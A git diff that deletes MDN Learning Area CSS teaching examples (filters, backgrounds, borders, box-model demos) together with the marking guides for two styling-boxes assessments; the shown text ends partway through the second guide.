-
-            .hue-rotate:hover {
-                -webkit-filter: hue-rotate(210deg);
-                filter: hue-rotate(210deg);
-            }
-        </style>
-    </head>
-
-    <body>
-        <figure class="blur">
-            <img src="colorful-heart.png" alt="a colorful prism heart" />
-            <figcaption>Blur filter</figcaption>
-        </figure>
-
-        <figure class="brightness">
-            <img src="colorful-heart.png" alt="a colorful prism heart" />
-            <figcaption>Brightness filter</figcaption>
-        </figure>
-
-        <figure class="shadow">
-            <img src="colorful-heart.png" alt="a colorful prism heart" />
-            <figcaption>Drop shadow filter</figcaption>
-        </figure>
-
-        <figure class="gray">
-            <img src="colorful-heart.png" alt="a colorful prism heart" />
-            <figcaption>Grayscale filter</figcaption>
-        </figure>
-
-        <figure class="sepia">
-            <img src="colorful-heart.png" alt="a colorful prism heart" />
-            <figcaption>Sepia filter</figcaption>
-        </figure>
-
-        <figure class="invert">
-            <img src="colorful-heart.png" alt="a colorful prism heart" />
-            <figcaption>Inversion filter</figcaption>
-        </figure>
-
-        <figure class="saturate">
-            <img src="colorful-heart.png" alt="a colorful prism heart" />
-            <figcaption>Saturation filter</figcaption>
-        </figure>
-
-        <figure class="opacity">
-            <img src="colorful-heart.png" alt="a colorful prism heart" />
-            <figcaption>Opacity filter</figcaption>
-        </figure>
-
-        <figure class="hue-rotate">
-            <img src="colorful-heart.png" alt="a colorful prism heart" />
-            <figcaption>Hue rotation filter</figcaption>
-        </figure>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-boxes/backgrounds/background-attachment.css b/docs/content/learning-area/css/styling-boxes/backgrounds/background-attachment.css
deleted file mode 100644
index 58cbc3d059..0000000000
--- a/docs/content/learning-area/css/styling-boxes/backgrounds/background-attachment.css
+++ /dev/null
@@ -1,69 +0,0 @@
-html,
-body {
-    margin: 0;
-    padding: 0;
-}
-
-h1 {
-    margin-top: 0;
-}
-
-body {
-    padding: 1em;
-}
-
-html {
-    background-color: yellow;
-    font-family: sans-serif;
-}
-
-body {
-    height: 2000px;
-}
-
-p {
-    padding: 10px;
-    color: white;
-    background: rgba(0, 0, 0, 0.3);
-}
-
-section {
-    display: flex;
-}
-
-article {
-    flex: 1;
-    height: 400px;
-    background-color: rgba(0, 0, 0, 0.5);
-    background-image: url(emoji.png);
-    background-size: 400px 400px;
-    background-repeat: no-repeat;
-    background-position: top center;
-    padding: 1%;
-    overflow: auto;
-}
-
-article pre {
-    height: 800px;
-}
-
-.fixed,
-.scroll {
-    margin-right: 1%;
-}
-
-.fixed {
-    background-attachment: fixed;
-}
-
-.scroll {
-    background-attachment: scroll;
-}
-
-.local {
-    background-attachment: local;
-}
-
-footer {
-    clear: both;
-}
diff --git a/docs/content/learning-area/css/styling-boxes/backgrounds/background-attachment.html b/docs/content/learning-area/css/styling-boxes/backgrounds/background-attachment.html
deleted file mode 100644
index fb99922973..0000000000
--- a/docs/content/learning-area/css/styling-boxes/backgrounds/background-attachment.html
+++ /dev/null
@@ -1,42 +0,0 @@
-<!DOCTYPE html>
-<html lang="en-US">
-    <head>
-        <meta charset="UTF-8" />
-        <title>Background attachment example</title>
-        <link rel="stylesheet" type="text/css" href="background-attachment.css" />
-    </head>
-
-    <body>
-        <h1>Background attachment example</h1>
-
-        <section>
-            <article class="scroll">
-                <p>
-                    <code>background-attachment: scroll</code> causes the element's background to be fixed to the page, so that it scrolls when the page is
-                    scrolled. If the element content is scrolled, the background does not move.
-                </p>
-
-                <pre></pre>
-            </article>
-
-            <article class="fixed">
-                <p>
-                    <code>background-attachment: fixed</code> causes an element's background to be fixed to the viewport, so that it doesn't scroll when the
-                    page or element content is scrolled. It will always remain in the same position on the screen.
-                </p>
-
-                <pre></pre>
-            </article>
-
-            <article class="local">
-                <p>
-                    <code>background-attachment: local</code>, new to CSS3, causes an element's background to be fixed to the actual element itself. So When the
-                    page is scrolled, the element's background will move along with it only if the element does so (so not in the case of elements with
-                    <code>position: fixed</code>.) When the element's content is scrolled, the background will scroll along with it.
-                </p>
-
-                <pre></pre>
-            </article>
-        </section>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-boxes/backgrounds/bgtile.png b/docs/content/learning-area/css/styling-boxes/backgrounds/bgtile.png
deleted file mode 100644
index 1b3955084c..0000000000
Binary files a/docs/content/learning-area/css/styling-boxes/backgrounds/bgtile.png and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-boxes/backgrounds/emoji.png b/docs/content/learning-area/css/styling-boxes/backgrounds/emoji.png
deleted file mode 100644
index c3c1d48c6b..0000000000
Binary files a/docs/content/learning-area/css/styling-boxes/backgrounds/emoji.png and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-boxes/backgrounds/fire-ball-icon.png b/docs/content/learning-area/css/styling-boxes/backgrounds/fire-ball-icon.png
deleted file mode 100644
index 994b6916de..0000000000
Binary files a/docs/content/learning-area/css/styling-boxes/backgrounds/fire-ball-icon.png and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-boxes/backgrounds/index.html b/docs/content/learning-area/css/styling-boxes/backgrounds/index.html
deleted file mode 100644
index 1e908c4abc..0000000000
--- a/docs/content/learning-area/css/styling-boxes/backgrounds/index.html
+++ /dev/null
@@ -1,20 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Backgrounds example</title>
-        <style>
-            p {
-                font-family: sans-serif;
-                padding: 20px;
-                /* background properties */
-                background-color: yellow;
-                background: url(fire-ball-icon.png) no-repeat 99% center, linear-gradient(to bottom, yellow, #dddd00 50%, orange);
-            }
-        </style>
-    </head>
-
-    <body>
-        <p>Exciting box!</p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-boxes/backgrounds/repeating-background.html b/docs/content/learning-area/css/styling-boxes/backgrounds/repeating-background.html
deleted file mode 100644
index 4f9f1d9336..0000000000
--- a/docs/content/learning-area/css/styling-boxes/backgrounds/repeating-background.html
+++ /dev/null
@@ -1,34 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Repeating background example</title>
-        <style>
-            body {
-                margin: 0;
-            }
-
-            p {
-                font-family: sans-serif;
-                text-align: center;
-            }
-
-            div {
-                width: 100%;
-                height: 400px;
-                /* background properties */
-                background-color: red;
-                background-image: url(tile.png);
-            }
-        </style>
-    </head>
-
-    <body>
-        <p>
-            A single instance of the image looks like this: <img src="tile.png" alt="a background tile" />. If we use it as a repeating background image along
-            with a solid background color, it could look like this:
-        </p>
-
-        <div></div>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-boxes/backgrounds/tile.png b/docs/content/learning-area/css/styling-boxes/backgrounds/tile.png
deleted file mode 100644
index 430162c4bf..0000000000
Binary files a/docs/content/learning-area/css/styling-boxes/backgrounds/tile.png and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-boxes/borders/border-image.html b/docs/content/learning-area/css/styling-boxes/borders/border-image.html
deleted file mode 100644
index 55e77346f3..0000000000
--- a/docs/content/learning-area/css/styling-boxes/borders/border-image.html
+++ /dev/null
@@ -1,34 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Border image</title>
-        <style>
-            html {
-                font-family: sans-serif;
-            }
-
-            div {
-                width: 300px;
-                padding: 20px;
-                margin: 10px auto;
-                line-height: 3;
-                background-color: #f66;
-                text-align: center;
-                /* border-related properties */
-                border: 20px solid black;
-                background-clip: padding-box;
-                border-image-source: url(border-image.png);
-                border-image-slice: 40;
-                border-image-repeat: round;
-                border-image-outset: 5px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <div>
-            <p>Border image</p>
-        </div>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-boxes/borders/border-image.png b/docs/content/learning-area/css/styling-boxes/borders/border-image.png
deleted file mode 100644
index 48f18761ab..0000000000
Binary files a/docs/content/learning-area/css/styling-boxes/borders/border-image.png and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-boxes/borders/border-longhand.html b/docs/content/learning-area/css/styling-boxes/borders/border-longhand.html
deleted file mode 100644
index 8896b9e41c..0000000000
--- a/docs/content/learning-area/css/styling-boxes/borders/border-longhand.html
+++ /dev/null
@@ -1,75 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Writing progress</title>
-        <style>
-            * {
-                box-sizing: border-box;
-            }
-
-            html {
-                font-family: sans-serif;
-            }
-
-            div {
-                width: 220px;
-                padding: 20px;
-                margin: 10px;
-                line-height: 2;
-                background-color: yellow;
-                text-align: center;
-                display: inline-block;
-            }
-
-            .complete {
-                border-style: solid;
-            }
-
-            .written {
-                border-style: dashed;
-            }
-
-            .incomplete {
-                border-style: dotted;
-            }
-
-            .writing,
-            .review {
-                border-bottom: 6px solid red;
-            }
-        </style>
-    </head>
-
-    <body>
-        <h1>Writing progress</h1>
-
-        <div class="complete">
-            <p>Chapter 1: I was born</p>
-        </div>
-
-        <div class="complete">
-            <p>Chapter 2: School</p>
-        </div>
-
-        <div class="written review">
-            <p>Chapter 3: University</p>
-        </div>
-
-        <div class="written">
-            <p>Chapter 4: Rock and roll</p>
-        </div>
-
-        <div class="incomplete writing">
-            <p>Chapter 5: Fell in love</p>
-        </div>
-
-        <div class="incomplete">
-            <p>Chapter 6: Children</p>
-        </div>
-
-        <div class="incomplete">
-            <p>Chapter 7: Tired!</p>
-        </div>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-boxes/borders/border-slices.png b/docs/content/learning-area/css/styling-boxes/borders/border-slices.png
deleted file mode 100644
index 6a81561692..0000000000
Binary files a/docs/content/learning-area/css/styling-boxes/borders/border-slices.png and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-boxes/borders/rounded-corners.html b/docs/content/learning-area/css/styling-boxes/borders/rounded-corners.html
deleted file mode 100644
index a76e918dda..0000000000
--- a/docs/content/learning-area/css/styling-boxes/borders/rounded-corners.html
+++ /dev/null
@@ -1,29 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Rounded corners</title>
-        <style>
-            html {
-                font-family: sans-serif;
-            }
-
-            div {
-                width: 220px;
-                padding: 20px;
-                margin: 10px;
-                line-height: 2;
-                background-color: yellow;
-                text-align: center;
-                border-style: dashed;
-                border-radius: 20px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <div>
-            <p>Rounded corners are groovy!</p>
-        </div>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-boxes/box-model-recap/box-sizing-example.css b/docs/content/learning-area/css/styling-boxes/box-model-recap/box-sizing-example.css
deleted file mode 100644
index bc4570c7a7..0000000000
--- a/docs/content/learning-area/css/styling-boxes/box-model-recap/box-sizing-example.css
+++ /dev/null
@@ -1,18 +0,0 @@
-html {
-    font-family: sans-serif;
-    background: #ccc;
-}
-
-.one,
-.two {
-    background: red;
-    width: 300px;
-    height: 150px;
-    padding: 20px;
-    border: 10px solid black;
-    margin: 20px auto;
-}
-
-.two {
-    box-sizing: border-box;
-}
diff --git a/docs/content/learning-area/css/styling-boxes/box-model-recap/box-sizing-example.html b/docs/content/learning-area/css/styling-boxes/box-model-recap/box-sizing-example.html
deleted file mode 100644
index a2de8d4997..0000000000
--- a/docs/content/learning-area/css/styling-boxes/box-model-recap/box-sizing-example.html
+++ /dev/null
@@ -1,28 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Box sizing example</title>
-        <link href="box-sizing-example.css" type="text/css" rel="stylesheet" />
-    </head>
-
-    <body>
-        <div class="one"></div>
-
-        <div class="two"></div>
-
-        <script>
-            var one = document.querySelector('.one');
-            var two = document.querySelector('.two');
-
-            function outputWH(box) {
-                var width = box.offsetWidth;
-                var height = box.offsetHeight;
-                box.textContent = 'Width: ' + width + 'px, Height: ' + height + 'px.';
-            }
-
-            outputWH(one);
-            outputWH(two);
-        </script>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-boxes/box-model-recap/css-tables-example.html b/docs/content/learning-area/css/styling-boxes/box-model-recap/css-tables-example.html
deleted file mode 100644
index 9376f112b0..0000000000
--- a/docs/content/learning-area/css/styling-boxes/box-model-recap/css-tables-example.html
+++ /dev/null
@@ -1,63 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>CSS tables example</title>
-        <style>
-            html {
-                font-family: sans-serif;
-            }
-
-            form {
-                display: table;
-                margin: 0 auto;
-            }
-
-            form div {
-                display: table-row;
-            }
-
-            form label,
-            form input {
-                display: table-cell;
-                margin-bottom: 10px;
-            }
-
-            form label {
-                width: 200px;
-                padding-right: 5%;
-                text-align: right;
-            }
-
-            form input {
-                width: 300px;
-            }
-
-            form p {
-                display: table-caption;
-                caption-side: bottom;
-                width: 300px;
-                color: #999;
-                font-style: italic;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <p>First of all, tell us your name and age.</p>
-            <div>
-                <label for="fname">First name:</label>
-                <input type="text" id="fname" />
-            </div>
-            <div>
-                <label for="lname">Last name:</label>
-                <input type="text" id="lname" />
-            </div>
-            <div>
-                <label for="age">Age:</label>
-                <input type="text" id="age" />
-            </div>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-boxes/box-model-recap/flexbox-example.html b/docs/content/learning-area/css/styling-boxes/box-model-recap/flexbox-example.html
deleted file mode 100644
index f1591dc112..0000000000
--- a/docs/content/learning-area/css/styling-boxes/box-model-recap/flexbox-example.html
+++ /dev/null
@@ -1,72 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Flexbox example</title>
-        <style>
-            html {
-                font-family: sans-serif;
-            }
-
-            section {
-                width: 70%;
-                height: 300px;
-                margin: 20px auto;
-                background: purple;
-                display: flex;
-            }
-
-            div {
-                color: white;
-                background: orange;
-                flex: 1;
-                margin-right: 10px;
-                text-shadow: 1px 1px 1px black;
-            }
-
-            div:last-child {
-                margin-right: 0;
-            }
-
-            section,
-            div {
-                border: 5px solid rgba(0, 0, 0, 0.85);
-                padding: 10px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <section>
-            <div>This is a box</div>
-            <div>This is a box</div>
-            <div>This is a box</div>
-        </section>
-
-        <button class="create">Create box</button>
-        <button class="reset">Reset demo</button>
-
-        <script>
-            var section = document.querySelector('section');
-            var createBtn = document.querySelector('.create');
-            var resetBtn = document.querySelector('.reset');
-
-            function createBox() {
-                var box = document.createElement('div');
-                box.textContent = 'This is a box';
-                section.appendChild(box);
-            }
-
-            createBtn.onclick = createBox;
-
-            resetBtn.onclick = function () {
-                while (section.firstChild) {
-                    section.removeChild(section.firstChild);
-                }
-                createBox();
-                createBox();
-                createBox();
-            };
-        </script>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-boxes/box-model-recap/min-max-container.css b/docs/content/learning-area/css/styling-boxes/box-model-recap/min-max-container.css
deleted file mode 100644
index d84d26ef20..0000000000
--- a/docs/content/learning-area/css/styling-boxes/box-model-recap/min-max-container.css
+++ /dev/null
@@ -1,25 +0,0 @@
-html {
-    font-family: sans-serif;
-    background: #ccc;
-}
-
-h1 {
-    margin-top: 0;
-    padding-top: 24px;
-}
-
-p {
-    line-height: 1.5;
-    letter-spacing: 1px;
-}
-
-body {
-    background: white;
-    padding: 10px;
-
-    /* First bit of CSS from the article */
-    width: 70%;
-    max-width: 1280px;
-    min-width: 480px;
-    margin: 0 auto;
-}
diff --git a/docs/content/learning-area/css/styling-boxes/box-model-recap/min-max-container.html b/docs/content/learning-area/css/styling-boxes/box-model-recap/min-max-container.html
deleted file mode 100644
index 8d25c0123a..0000000000
--- a/docs/content/learning-area/css/styling-boxes/box-model-recap/min-max-container.html
+++ /dev/null
@@ -1,26 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Min and max width example</title>
-        <link href="min-max-container.css" type="text/css" rel="stylesheet" />
-    </head>
-
-    <body>
-        <h1>Min and max width example</h1>
-
-        <p>
-            Tacos actually microdosing, pour-over semiotics banjo chicharrones retro fanny pack portland everyday carry vinyl typewriter. Tacos PBR&B pork
-            belly, everyday carry ennui pickled sriracha normcore hashtag polaroid single-origin coffee cold-pressed. PBR&B tattooed trust fund twee, leggings
-            salvia iPhone photo booth health goth gastropub hammock.
-        </p>
-
-        <img src="teddy-bear.jpg" alt="A teddy bear in a box" />
-
-        <p>
-            Cray food truck brunch, XOXO +1 keffiyeh pickled chambray waistcoat ennui. Organic small batch paleo 8-bit. Intelligentsia umami wayfarers pickled,
-            asymmetrical kombucha letterpress kitsch leggings cold-pressed squid chartreuse put a bird on it. Listicle pickled man bun cornhole heirloom art
-            party.
-        </p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-boxes/box-model-recap/min-max-image-container.css b/docs/content/learning-area/css/styling-boxes/box-model-recap/min-max-image-container.css
deleted file mode 100644
index b39c61e14c..0000000000
--- a/docs/content/learning-area/css/styling-boxes/box-model-recap/min-max-image-container.css
+++ /dev/null
@@ -1,32 +0,0 @@
-html {
-    font-family: sans-serif;
-    background: #ccc;
-}
-
-h1 {
-    margin-top: 0;
-    padding-top: 24px;
-}
-
-p {
-    line-height: 1.5;
-    letter-spacing: 1px;
-}
-
-body {
-    background: white;
-    padding: 10px;
-
-    /* First bit of CSS from the article */
-    width: 70%;
-    max-width: 1280px;
-    min-width: 480px;
-    margin: 0 auto;
-}
-
-img {
-    /* Second bit of CSS from the article */
-    display: block;
-    margin: 0 auto;
-    max-width: 100%;
-}
diff --git a/docs/content/learning-area/css/styling-boxes/box-model-recap/min-max-image-container.html b/docs/content/learning-area/css/styling-boxes/box-model-recap/min-max-image-container.html
deleted file mode 100644
index 07a4a422a5..0000000000
--- a/docs/content/learning-area/css/styling-boxes/box-model-recap/min-max-image-container.html
+++ /dev/null
@@ -1,26 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Max width image example</title>
-        <link href="min-max-image-container.css" type="text/css" rel="stylesheet" />
-    </head>
-
-    <body>
-        <h1>Max width image example</h1>
-
-        <p>
-            Tacos actually microdosing, pour-over semiotics banjo chicharrones retro fanny pack portland everyday carry vinyl typewriter. Tacos PBR&B pork
-            belly, everyday carry ennui pickled sriracha normcore hashtag polaroid single-origin coffee cold-pressed. PBR&B tattooed trust fund twee, leggings
-            salvia iPhone photo booth health goth gastropub hammock.
-        </p>
-
-        <img src="teddy-bear.jpg" alt="A teddy bear in a box" />
-
-        <p>
-            Cray food truck brunch, XOXO +1 keffiyeh pickled chambray waistcoat ennui. Organic small batch paleo 8-bit. Intelligentsia umami wayfarers pickled,
-            asymmetrical kombucha letterpress kitsch leggings cold-pressed squid chartreuse put a bird on it. Listicle pickled man bun cornhole heirloom art
-            party.
-        </p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-boxes/box-model-recap/teddy-bear.jpg b/docs/content/learning-area/css/styling-boxes/box-model-recap/teddy-bear.jpg
deleted file mode 100644
index 49ad2ef510..0000000000
Binary files a/docs/content/learning-area/css/styling-boxes/box-model-recap/teddy-bear.jpg and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-boxes/cool-information-box-finished/index.html b/docs/content/learning-area/css/styling-boxes/cool-information-box-finished/index.html
deleted file mode 100644
index 528eaf71a2..0000000000
--- a/docs/content/learning-area/css/styling-boxes/cool-information-box-finished/index.html
+++ /dev/null
@@ -1,12 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Cool box</title>
-        <link href="style.css" rel="stylesheet" type="text/css" />
-    </head>
-
-    <body>
-        <p>This is a cool box</p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-boxes/cool-information-box-finished/marking-guide.md b/docs/content/learning-area/css/styling-boxes/cool-information-box-finished/marking-guide.md
deleted file mode 100644
index 84ac0a7b47..0000000000
--- a/docs/content/learning-area/css/styling-boxes/cool-information-box-finished/marking-guide.md
+++ /dev/null
@@ -1,53 +0,0 @@
-# Marking guide for "A cool looking box"
-
-The following guide outlines a marking guide for the MDN Learning Area CSS assessment — [A cool looking box](https://developer.mozilla.org/en-US/Learn/CSS/Styling_boxes/A_cool_looking_box). Each subtask detailed in the assessment is listed below, along with an explanation of how many marks the task is worth, and the mark breakdown.
-
-Note: These are guidelines, not set in stone rules — you are of course free to use your judgement on mark awarding when you meet an edge case, or something that isn't clear cut.
-
-The overall mark awarded is out of 22. Work out their final mark, and then divide by 22 and multiply by 100 to give a percentage mark. For reference, you can find a [finished styled box](index.html) that would be awarded top marks.
-
-## General tasks
-
-<dl>
-<dt>"Apply the CSS to the HTML." (1 mark)</dt>
-<dd>One mark for creating a suitable <code>&ltlink&gt;</code> element, or <code>&lt;style&gt;</code> element to apply the CSS with.</dd>
-</dl>
-
-## Styling the box
-
-<dl>
-<dt>"A reasonable width for a large button." (1 mark)</dt>
-<dd>One mark for giving the paragraph a <code>width</code> of around 150-300px. This is fairly hard to not get, as long as it isn't set to 1000px, or 50px.</dd>
-<dt>"A reasonable height for a large button, centering the text vertically." (1 mark)</dt>
-<dd>One mark for giving the paragraph a <code>line-height</code> of around 2-4. Again, award the mark as long as it doesn't look ridiculous.</dd>
-<dt>"Centered text." (1 mark)</dt>
-<dd>One mark for giving the paragraph <code>margin</code> of <code>0 auto</code>, or <code>auto</code>, or similar.</dd>
-<dt>"A slight Increase in font size, to around 17-18px computed style. Use rems." (2 marks)</dt>
-<dd>One mark for setting an appropriate <code>font-size</code> (somewhere between 1.0625-1.125rem), and one mark for a good explanation. Something like recalling that the default font size is 16px, and calculating an exact rem value (e.g. 17/16), or approximating it and checking it in the browser dev tools, will do fine.</dd>
-<dt>"A base color for the design. Give the box this color as its background color." (1 mark)</dt>
-<dd>One mark for choosing a reasonable color and setting it as a <code>background-color</code>. Easy.</dd>
-<dt>"The same color for the text; make it readable using a black text shadow." (2 marks)</dt>
-<dd>One mark for setting the same color as before as a <code>background-color</code>, and one mark for making it readable with a tight <code>text-shadow</code>. Something like <code>1px 1px 1px black</code> is fine, but nothing too diffuse.</dd>
-<dt>"A fairly subtle border radius." (1 mark)</dt>
-<dd>One mark for setting a fairly subtle <code>border-radius</code> value like 10-15px, or 1rem perhaps. 20px at the most; nothing too ridiculous.</dd>
-<dt>"A 1 pixel solid border with a color similar to the base color, but a slightly darker shade." (2 marks)</dt>
-<dd>One mark for setting the <code>border</code> as <code>1px solid [a color]</code>, and one mark for setting the color to a slightly darker shade than the base color, e.g. if your base color is <code>rgb(255,0,0)</code>, set it to <code>rgb(200,0,0)</code>.</dd>
-<dt>"A linear semi-transparent black gradient that goes towards the top left corner. Make it completely transparent at the start, gradiating to around 0.2 opacity by 30% along, and remaining at the same color until the end." (4 marks)</dt>
-<dd>An ideal value would be <code>background-image: linear-gradient(to top left, rgba(0,0,0,0.2), rgba(0,0,0,0.2) 30%, rgba(0,0,0,0));</code>. The student can get:
-  <ul>
-    <li>One mark for knowing how to use a <code>linear-gradient</code>.</li>
-    <li>One mark for getting the direction value right: <code>to top left</code> (<code>to left top</code> is also fine)</li>
-    <li>One mark for using <code>rgba()</code> or <code>hsla()</code> colors correctly, with an opacity channel value of 0.2 or similar.</li>
-    <li>One mark for the correct use of an 0.2 opacity color stop at 30% along.</li>
-  </ul>
-</dd>
-<dt>"Multiple box shadows." (6 marks)</dt>
-<dd>The mark scheme is as follows:
-  <ul>
-    <li>One mark for getting the basic <code>box-shadow</code> syntax correct.</li>
-    <li>One mark for the simple, non-inset box shadow. Something like this is fine: <code>2px 2px 5px black</code>. But not too diffuse.</li>
-    <li>Two marks for the top left shadow. It should have a positive offset to move it down and right - making it hug the top and left edges, and use a semi-transparent white. A good example: <code>inset 2px 2px 3px rgba(255,255,255,0.6)</code>.</li>
-    <li>Two marks for the bottom right shadow. It should have a negative offset to move it up and left - making it hug the bottom and right edges, and use a semi-transparent black. A good example: <code>inset -2px -2px 3px rgba(0,0,0,0.6)</code>.</li>
-  </ul>
-</dd>
-</dl>
diff --git a/docs/content/learning-area/css/styling-boxes/cool-information-box-finished/style.css b/docs/content/learning-area/css/styling-boxes/cool-information-box-finished/style.css
deleted file mode 100644
index f2ead2a767..0000000000
--- a/docs/content/learning-area/css/styling-boxes/cool-information-box-finished/style.css
+++ /dev/null
@@ -1,25 +0,0 @@
-html {
-    font-family: sans-serif;
-}
-
-p {
-    /* sizing and position */
-    width: 200px;
-    margin: auto;
-    line-height: 3;
-    /* text */
-    font-size: 1.1rem;
-    /* Since the default font-size is 16px, I guessed that the correct
-  size would be 1.1rem. I set it, then checked it in the dev tools. */
-    text-align: center;
-    color: #ff0000;
-    text-shadow: 1px 1px 1px black;
-    /*border*/
-    border-radius: 10px;
-    border: 1px solid #990000;
-    /* background */
-    background-color: red;
-    background-image: linear-gradient(to top left, rgba(0, 0, 0, 0.2), rgba(0, 0, 0, 0.2) 30%, rgba(0, 0, 0, 0));
-    /* other effects */
-    box-shadow: inset 2px 2px 3px rgba(255, 255, 255, 0.6), inset -2px -2px 3px rgba(0, 0, 0, 0.6), 2px 2px 5px black;
-}
diff --git a/docs/content/learning-area/css/styling-boxes/cool-information-box-start/index.html b/docs/content/learning-area/css/styling-boxes/cool-information-box-start/index.html
deleted file mode 100644
index 8ffcf502a4..0000000000
--- a/docs/content/learning-area/css/styling-boxes/cool-information-box-start/index.html
+++ /dev/null
@@ -1,11 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Cool box</title>
-    </head>
-
-    <body>
-        <p>This is a cool box</p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-boxes/cool-information-box-start/style.css b/docs/content/learning-area/css/styling-boxes/cool-information-box-start/style.css
deleted file mode 100644
index e0ad2aac16..0000000000
--- a/docs/content/learning-area/css/styling-boxes/cool-information-box-start/style.css
+++ /dev/null
@@ -1,5 +0,0 @@
-html {
-    font-family: sans-serif;
-}
-
-/* Your CSS below here */
diff --git a/docs/content/learning-area/css/styling-boxes/letterheaded-paper-finished/bottom-image.png b/docs/content/learning-area/css/styling-boxes/letterheaded-paper-finished/bottom-image.png
deleted file mode 100644
index 9a82cc2398..0000000000
Binary files a/docs/content/learning-area/css/styling-boxes/letterheaded-paper-finished/bottom-image.png and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-boxes/letterheaded-paper-finished/index.html b/docs/content/learning-area/css/styling-boxes/letterheaded-paper-finished/index.html
deleted file mode 100644
index 3e1f249e3a..0000000000
--- a/docs/content/learning-area/css/styling-boxes/letterheaded-paper-finished/index.html
+++ /dev/null
@@ -1,25 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Fancy letterheaded paper</title>
-        <link href="style.css" rel="stylesheet" type="text/css" />
-    </head>
-
-    <body>
-        <article>
-            <h1>Awesome<br />Company</h1>
-
-            <address>
-                <p>The Awesome Company</p>
-                <p>
-                    102-112 Frail Bend Bridge<br />
-                    The Dwindlings<br />
-                    Little Hornet<br />
-                    HX3 9ZQ<br />
-                    UK
-                </p>
-            </address>
-        </article>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-boxes/letterheaded-paper-finished/logo.png b/docs/content/learning-area/css/styling-boxes/letterheaded-paper-finished/logo.png
deleted file mode 100644
index 5b4b2138a6..0000000000
Binary files a/docs/content/learning-area/css/styling-boxes/letterheaded-paper-finished/logo.png and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-boxes/letterheaded-paper-finished/marking-guide.md b/docs/content/learning-area/css/styling-boxes/letterheaded-paper-finished/marking-guide.md
deleted file mode 100644
index c6d3e14a54..0000000000
--- a/docs/content/learning-area/css/styling-boxes/letterheaded-paper-finished/marking-guide.md
+++ /dev/null
@@ -1,48 +0,0 @@
-# Marking guide for "Creating fancy letterheaded paper"
-
-The following guide outlines a marking guide for the MDN Learning Area CSS assessment — [Creating fancy letterheaded paper](https://developer.mozilla.org/en-US/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper). Each subtask detailed in the assessment is listed below, along with an explanation of how many marks the task is worth, and the mark breakdown.
-
-Note: These are guidelines, not set in stone rules — you are of course free to use your judgement on mark awarding when you meet an edge case, or something that isn't clear cut.
-
-The overall mark awarded is out of 19. Work out their final mark, and then divide by 19 and multiply by 100 to give a percentage mark. For reference, you can find a [finished styled letterhead](index.html) that would be awarded top marks.
-
-## The main letter
-
-<dl>
-<dt>"Apply the CSS to the HTML." (1 mark)</dt>
-<dd>One mark for creating a suitable <code>&ltlink&gt;</code> element, or <code>&lt;style&gt;</code> element to apply the CSS with.</dd>
-<dt>"Add a background declaration to the letter..." (6 marks)</dt>
-<dd>This requires a <code>background</code> property with multiple values. This is the most complicated part of this assessment, and there are a number of marks involved:
-  <ul>
-    <li>One mark for getting the basic syntax right and the background applying successfully.</li>
-    <li>One mark for putting the three required backgrounds in the right order — the linear gradient has to go at the top so it is seen over the top of the two images.</li>
-    <li>One mark for getting the top background image correct — <code>url(top-image.png) no-repeat left top</code>.</li>
-    <li>One mark for getting the bottom background image correct — <code>url(bottom-image.png) no-repeat left bottom</code>.</li>
-    <li>Two marks for getting the linear gradient correct; something like this —  <code>linear-gradient(to bottom, rgba(0,0,0,0.2), rgba(0,0,0,0) 20%, rgba(0,0,0,0) 80%, rgba(0,0,0,0.2))</code></li>
-  </ul>
-</dd>
-<dt>"Add another background declaration that just adds the top image to the top of the letter, as a fallback for browsers that don't support the previous declaration." (2 marks)</dt>
-<dd>One mark for adding a <code>background</code> property that just specifies <code>url(top-image.png) no-repeat left top</code> in it's value; one mark for putting it before the main <code>background</code> declaration.</dd>
